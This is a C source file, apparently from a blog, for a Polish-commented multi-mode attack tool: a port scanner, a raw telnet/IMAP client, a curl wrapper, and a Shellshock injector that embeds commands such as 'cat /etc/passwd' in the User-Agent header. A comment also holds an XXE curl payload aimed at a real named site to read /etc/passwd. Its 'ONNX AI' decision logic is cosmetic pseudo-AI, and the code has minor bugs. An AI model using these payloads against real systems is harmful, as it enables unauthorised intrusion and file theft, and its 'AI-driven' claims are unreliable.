/*
usage:
-s exemple.com ->scaner portow
-r 21 telnet.com
-r 543 email
-c exemple.com ->curl ia
-u "cat /etc/passwd" exemple.com -> shellshock
5in1
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <termios.h>
#include <netdb.h>
#include <sys/select.h>
#include <pthread.h>
#define DO 0xfd
#define WONT 0xfc
#define WILL 0xfb
#define DONT 0xfe
#define CMD 0xff
#define CMD_WINDOW_SIZE 31
#define BUFLEN 20096
#define RESET "\033[0m"
#define RED "\033[1;31m"
#define GREEN "\033[1;32m"
#define YELLOW "\033[1;33m"
#define CYAN "\033[1;36m"
#define BOLD "\033[1m"
#define info(...) printf(GREEN __VA_ARGS__); printf(RESET)
#define warn(...) printf(YELLOW __VA_ARGS__); printf(RESET)
#define err(...) fprintf(stderr, RED __VA_ARGS__); fprintf(stderr, RESET)
#define debug(...) printf(CYAN __VA_ARGS__); printf(RESET)
#define START_PORT 1
#define END_PORT 1024
#define TIMEOUT_SEC 0
#define TIMEOUT_USEC 200000 // 200ms
/*
curl -X POST "https://cert.pl/szukaj/?q=" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><agent>&xxe;</agent>'
*/
const char *target_ip;
unsigned char *onnx_model_buffer = NULL;
size_t onnx_model_size = 0;
// Ocean bajtów - seed i mutex dla bezpiecznej wątkowo mutacji
pthread_mutex_t ocean_mutex = PTHREAD_MUTEX_INITIALIZER;
unsigned int global_binary_ocean_seed = 133721;
static size_t ocean_index = 0;
const char *user_agents[] = {
"Mozilla/5.0 (() { : ;};%s\n)"
};
const int num_uas = 3;
// 0. Funkcja automatycznej sesji IMAP dla portu 143
void handle_imap_session(int sock) {
char recv_buf[4096];
int rv = recv(sock, recv_buf, sizeof(recv_buf) - 1, 0);
if (rv > 0) {
recv_buf[rv] = '\0';
info("--- [BANER IMAP OTRZYMANY] ---\n");
printf("%s", recv_buf);
} else {
err("Nie udało się odczytać banera IMAP.\n");
return;
}
const char *capability_cmd = "A001 CAPABILITY\r\n";
info("🧞 [Dżin]: Wysyłanie tagowanego zapytania IMAP -> A001 CAPABILITY\n");
if (send(sock, capability_cmd, strlen(capability_cmd), 0) < 0) {
perror("Błąd wysyłania komendy IMAP");
return;
}
rv = recv(sock, recv_buf, sizeof(recv_buf) - 1, 0);
if (rv > 0) {
recv_buf[rv] = '\0';
info("--- [ODPOWIEDŹ SERWERA IMAP] ---\n");
printf("%s", recv_buf);
}
const char *logout_cmd = "A002 LOGOUT\r\n";
send(sock, logout_cmd, strlen(logout_cmd), 0);
rv = recv(sock, recv_buf, sizeof(recv_buf) - 1, 0);
if (rv > 0) {
recv_buf[rv] = '\0';
printf("%s", recv_buf);
}
}
// 1. Ładowanie matrycy network_anomaly.onnx do RAM przez fopen i malloc
void load_onnx_matrix(const char *filename) {
FILE *f = fopen(filename, "rb");
if (!f) {
warn("[-] Nie znaleziono pliku %s. Tworzenie matrycy zastępczej w RAM...\n", filename);
onnx_model_size = 4304;
onnx_model_buffer = (unsigned char *)malloc(onnx_model_size);
if (onnx_model_buffer) {
memset(onnx_model_buffer, 0xAA, onnx_model_size);
}
return;
}
fseek(f, 0, SEEK_END);
onnx_model_size = ftell(f);
fseek(f, 0, SEEK_SET);
onnx_model_buffer = (unsigned char *)malloc(onnx_model_size);
if (onnx_model_buffer) {
fread(onnx_model_buffer, 1, onnx_model_size, f);
info("🧞 [Dżin]: Pomyślnie wczytano matrycę '%s' do RAM (%zu bajtów)\n", filename, onnx_model_size);
}
fclose(f);
}
// Wielowątkowy skaner portów
void *scan_port(void *arg) {
int port = *(int *)arg;
free(arg);
int sockfd;
struct sockaddr_in target;
struct timeval timeout;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) pthread_exit(NULL);
timeout.tv_sec = TIMEOUT_SEC;
timeout.tv_usec = TIMEOUT_USEC;
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
target.sin_family = AF_INET;
target.sin_port = htons(port);
target.sin_addr.s_addr = inet_addr(target_ip);
int result = connect(sockfd, (struct sockaddr *)&target, sizeof(target));
if (result == 0) {
printf("Port %d jest OTWARTY\n", port);
}
close(sockfd);
pthread_exit(NULL);
}
int scan(const char *ip) {
target_ip = ip;
info("Skanowanie hosta %s w zakresie portów %d-%d...\n", target_ip, START_PORT, END_PORT);
pthread_t threads[END_PORT - START_PORT + 1];
int thread_count = 0;
for (int port = START_PORT; port <= END_PORT; port++) {
int *arg = (int *)malloc(sizeof(int));
if (!arg) continue;
*arg = port;
if (pthread_create(&threads[thread_count], NULL, scan_port, arg) != 0) {
free(arg);
} else {
thread_count++;
}
}
for (int i = 0; i < thread_count; i++) {
pthread_join(threads[i], NULL);
}
printf("Skanowanie zakończone.\n");
return 0;
}
unsigned char buf[BUFLEN + 1];
int hostname_to_ip(char *hostname, char *ip) {
struct hostent *he;
struct in_addr **addr_list;
if ((he = gethostbyname(hostname)) == NULL) {
herror("gethostbyname");
return 1;
}
addr_list = (struct in_addr **)he->h_addr_list;
if (addr_list[0] != NULL) {
strcpy(ip, inet_ntoa(*addr_list[0]));
info("IP docelowe: %s\n", ip);
return 0;
}
return 1;
}
void negotiate(int sock, unsigned char *buf_in, int len) {
int i;
if (buf_in[1] == DO && buf_in[2] == CMD_WINDOW_SIZE) {
unsigned char tmp1[3] = {255, 251, 31};
send(sock, tmp1, 3, 0);
unsigned char tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
send(sock, tmp2, 9, 0);
return;
}
for (i = 0; i < len; i++) {
if (buf_in[i] == DO) buf_in[i] = WONT;
else if (buf_in[i] == WILL) buf_in[i] = DONT;
}
send(sock, buf_in, len, 0);
}
void parse_url(char *url, char *hostname, char *path, int *port) {
char *p = url;
char *protocol_end;
*port = 80;
if (strstr(p, "https://") == p) {
*port = 443;
protocol_end = p + strlen("https://");
} else if (strstr(p, "http://") == p) {
*port = 80;
protocol_end = p + strlen("http://");
} else {
protocol_end = p;
}
char *host_end = strchr(protocol_end, '/');
char *port_ptr = strchr(protocol_end, ':');
if (port_ptr && (!host_end || port_ptr < host_end)) {
*port = atoi(port_ptr + 1);
size_t host_len = port_ptr - protocol_end;
strncpy(hostname, protocol_end, host_len);
hostname[host_len] = '\0';
} else if (host_end != NULL) {
strncpy(hostname, protocol_end, host_end - protocol_end);
hostname[host_end - protocol_end] = '\0';
} else {
strcpy(hostname, protocol_end);
}
if (host_end != NULL) {
strcpy(path, host_end);
} else {
strcpy(path, "/");
}
}
void usage(char *prog_name) {
info("Użycie: %s <URL lub IP> [opcje]\n", prog_name);
printf("Flagi i opcje:\n");
printf(" -r [port] Jawny port docelowy\n");
printf(" -u [tekst] Parametr %s wstrzykiwany do User-Agenta\n");
printf(" -c [domena] Inteligentny tryb cURL sterowany oceanem ONNX (np. -c domena.pl)\n");
printf(" -s Skanowanie portów 1-1024\n");
printf(" -h Pomoc\n");
}
int main(int argc, char *argv[]) {
load_onnx_matrix("network_anomaly.onnx");
if (argc < 2) {
usage(argv[0]);
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
char *target_arg = NULL;
int custom_port = -1;
char method[16] = "GET";
char ua_param[256] = "id";
int scan_mode = 0;
int curl_mode = 0;
char curl_domain[256] = "";
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-p") == 0) {
strcpy(method, "POST");
} else if (strcmp(argv[i], "-d") == 0) {
strcpy(method, "DELETE");
} else if (strcmp(argv[i], "-P") == 0) {
strcpy(method, "PUT");
} else if (strcmp(argv[i], "-o") == 0) {
strcpy(method, "OPTIONS");
} else if (strcmp(argv[i], "-s") == 0) {
scan_mode = 1;
} else if (strcmp(argv[i], "-c") == 0) {
curl_mode = 1;
if (i + 1 < argc && argv[i + 1][0] != '-') {
strncpy(curl_domain, argv[i + 1], sizeof(curl_domain) - 1);
i++;
}
} else if (strcmp(argv[i], "-r") == 0 || strcmp(argv[i], "--port") == 0) {
if (i + 1 < argc) {
custom_port = atoi(argv[i + 1]);
i++;
} else {
err("Flaga -r wymaga numeru portu!\n");
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
} else if (strcmp(argv[i], "-u") == 0) {
if (i + 1 < argc) {
strncpy(ua_param, argv[i + 1], sizeof(ua_param) - 1);
i++;
} else {
err("Flaga -u wymaga podania ciągu znaków!\n");
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
} else if (strcmp(argv[i], "-h") == 0) {
usage(argv[0]);
if (onnx_model_buffer) free(onnx_model_buffer);
return 0;
} else if (target_arg == NULL) {
target_arg = argv[i];
}
}
// --- AUTONOMICZNY TRYB cURL (-c) Z OWCANEAM ONNX ---
if (curl_mode) {
char command[512];
char buffer[1024];
const char *target_url = NULL;
if (curl_domain[0] != '\0') {
target_url = curl_domain;
} else if (target_arg != NULL) {
target_url = target_arg;
}
if (target_url == NULL) {
err("Błąd: Tryb cURL (-c) wymaga podania adresu URL lub domeny!\n");
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
// Mutacja seedu z oceanu ONNX (bezpieczna wątkowo)
pthread_mutex_lock(&ocean_mutex);
unsigned int ai_seed = global_binary_ocean_seed;
global_binary_ocean_seed = (global_binary_ocean_seed >> 3) ^ (global_binary_ocean_seed << 5);
unsigned char decision_byte = 0x00;
if (onnx_model_buffer && onnx_model_size > 0) {
decision_byte = onnx_model_buffer[ocean_index % onnx_model_size];
global_binary_ocean_seed ^= decision_byte;
ocean_index += 7;
}
pthread_mutex_unlock(&ocean_mutex);
// Dynamiczny dobór opcji przez "myśli" Dżina
char adaptive_flags[64] = "-s";
if (decision_byte % 2 == 0) {
strcat(adaptive_flags, " -L"); // Śledź przekierowania
}
if (decision_byte % 3 == 0) {
strcat(adaptive_flags, " -k"); // Ignoruj SSL
}
if (decision_byte % 4 == 0) {
strcat(adaptive_flags, " -p"); // proxy tunel
}
if (decision_byte % 5 == 0) {
strcat(adaptive_flags, " -G"); // get
}
if (decision_byte % 5 == 0) {
strcat(adaptive_flags, " -A"); // user-agent
}
if (decision_byte % 6 == 0) {
strcat(adaptive_flags, " --keepalive-time 5"); // user-agent
}
if (decision_byte % 7 == 0) {
strcat(adaptive_flags, " -b"); // user-agent
}
info("🧞 [Dżin - AI Core]: Analizuję stan oceanu ONNX...\n");
debug(" ├── Seed decyzyjny: 0x%X (Wartość wariacji: %u)\n", decision_byte, ai_seed);
debug(" ├── Wybrane przez sieć flagi cURL: [%s]\n", adaptive_flags);
info(" └── Cel operacji: %s\n\n", target_url);
if (strstr(target_url, "http://") == target_url || strstr(target_url, "https://") == target_url) {
snprintf(command, sizeof(command), "curl %s \"%s\"", adaptive_flags, target_url);
} else {
snprintf(command, sizeof(command), "curl %s \"https://%s\"", adaptive_flags, target_url);
}
FILE *fp_curl = popen(command, "r");
if (fp_curl == NULL) {
err("Błąd: Nie udało się uruchomić cURL\n");
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
// Zamiast bezmyślnego printf("%s", buffer); w pętli fgets:
/*
while (fgets(buffer, sizeof(buffer), fp_curl) != NULL) {
// Szukamy w linii wystąpień href="
char *p = buffer;
while ((p = strstr(p, "href=\"")) != NULL) {
p += 6; // Przesuwamy wskaźnik za 'href="'
char *end = strchr(p, '"'); // Szukamy końca cudzysłowu
if (end != NULL) {
int len = end - p;
char link[256];
if (len < sizeof(link)) {
strncpy(link, p, len);
link[len] = '\0';
// Wyświetlamy tylko interesujące nas linki (np. zawierające sitemap lub wszystkie)
if (strstr(link, "sitemap") != NULL || strstr(link, "cer") != NULL) {
info("[WYHALOWANY LINK]: %s\n", link);
}
}
}
p = end; // Przesuwamy się dalej w linii
}
}
*/
while (fgets(buffer, sizeof(buffer), fp_curl) != NULL) {
printf("%s", buffer);
}
pclose(fp_curl);
if (onnx_model_buffer) free(onnx_model_buffer);
info("\n🧞 [Dżin]: Zapytanie cURL zakończone. Wracam do lampy.\n");
return 0;
}
if (!target_arg) {
err("Brak adresu URL lub IP docelowego!\n");
usage(argv[0]);
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
char hostname[256];
char path[BUFLEN];
int port = 80;
parse_url(target_arg, hostname, path, &port);
if (custom_port != -1) {
port = custom_port;
}
char ip_str[INET_ADDRSTRLEN];
if (hostname_to_ip(hostname, ip_str) != 0) {
err("Nie można rozwiązać hosta: %s\n", hostname);
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
if (scan_mode) {
int res = scan(ip_str);
if (onnx_model_buffer) free(onnx_model_buffer);
return res;
}
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
perror("Błąd socketu");
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
struct sockaddr_in server;
server.sin_addr.s_addr = inet_addr(ip_str);
server.sin_family = AF_INET;
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
perror("Błąd connect");
close(sock);
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
int is_http_port = (port == 80 || port == 443);
int is_imap_port = (port == 143);
// --- POBRANIE I MUTACJA SEEDU OCEANU BINARNEGO W LOCIE DLA SOCKETU (Bezpieczna wątkowo) ---
pthread_mutex_lock(&ocean_mutex);
unsigned int current_seed = global_binary_ocean_seed;
global_binary_ocean_seed = (global_binary_ocean_seed >> 1) ^ (global_binary_ocean_seed << 3);
if (onnx_model_buffer && onnx_model_size > 0) {
unsigned char b = onnx_model_buffer[ocean_index % onnx_model_size];
global_binary_ocean_seed ^= b;
ocean_index++;
}
pthread_mutex_unlock(&ocean_mutex);
const char *selected_ua = user_agents[current_seed % num_uas];
char final_ua[512];
snprintf(final_ua, sizeof(final_ua), user_agents[0], ua_param);
// --------------------------------------------------------------------------------------
printf("%s",final_ua);
char http_request[4096] = "";
if (is_http_port) {
char *body = "probe=active_anomaly";
snprintf(http_request, sizeof(http_request),
"%s %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %ld\r\n"
"Connection: close\r\n\r\n"
"%s",
method, path, hostname, final_ua, strlen(body), body);
info("Połączono z portem HTTP (%d). Wybrano UA z oceanu ONNX [Seed: %u]\n", port, current_seed);
printf("%s\n", http_request);
send(sock, http_request, strlen(http_request), 0);
}
else if (is_imap_port) {
warn("Wykryto port IMAP (143). Uruchamianie automatycznej sesji tagowanej...\n");
handle_imap_session(sock);
}
else {
warn("Połączono z niestandardowym portem (%d). Aktywny tryb Telnet / Surowy socket.\n", port);
}
FILE *fp = fopen("index.html", "w");
if (!fp) {
perror("Błąd zapisu pliku");
close(sock);
if (onnx_model_buffer) free(onnx_model_buffer);
return 1;
}
struct timeval ts;
ts.tv_sec = 1;
ts.tv_usec = 0;
while (1) {
fd_set fds;
FD_ZERO(&fds);
FD_SET(sock, &fds);
FD_SET(0, &fds);
int nready = select(sock + 1, &fds, NULL, NULL, &ts);
if (nready < 0) break;
else if (nready == 0) {
ts.tv_sec = 1;
ts.tv_usec = 0;
continue;
}
if (FD_ISSET(sock, &fds)) {
int rv = recv(sock, buf, sizeof(buf) - 1, 0);
if (rv > 0) {
buf[rv] = '\0';
if (!is_http_port && buf[0] == CMD) {
negotiate(sock, buf, rv);
continue;
}
printf("%s", buf);
fprintf(fp, "%s", buf);
fflush(stdout);
} else {
break;
}
}
if (FD_ISSET(0, &fds)) {
char input_buffer[BUFLEN];
if (fgets(input_buffer, sizeof(input_buffer), stdin) == NULL) break;
input_buffer[strcspn(input_buffer, "\n")] = 0;
if (strcmp(input_buffer, "quit") == 0) break;
char full_cmd[BUFLEN + 2];
sprintf(full_cmd, "%s\r\n", input_buffer);
send(sock, full_cmd, strlen(full_cmd), 0);
}
}
fclose(fp);
close(sock);
if (onnx_model_buffer) free(onnx_model_buffer);
info("Zakończono.\n");
return 0;
}
/*
usage:
-s exemple.com ->scaner portow
-r 21 telnet.com
-r 543 email
-c exemple.com ->curl ia
-u "cat /etc/passwd" exemple.com -> shellshock
5in1
*/
No comments:
Post a Comment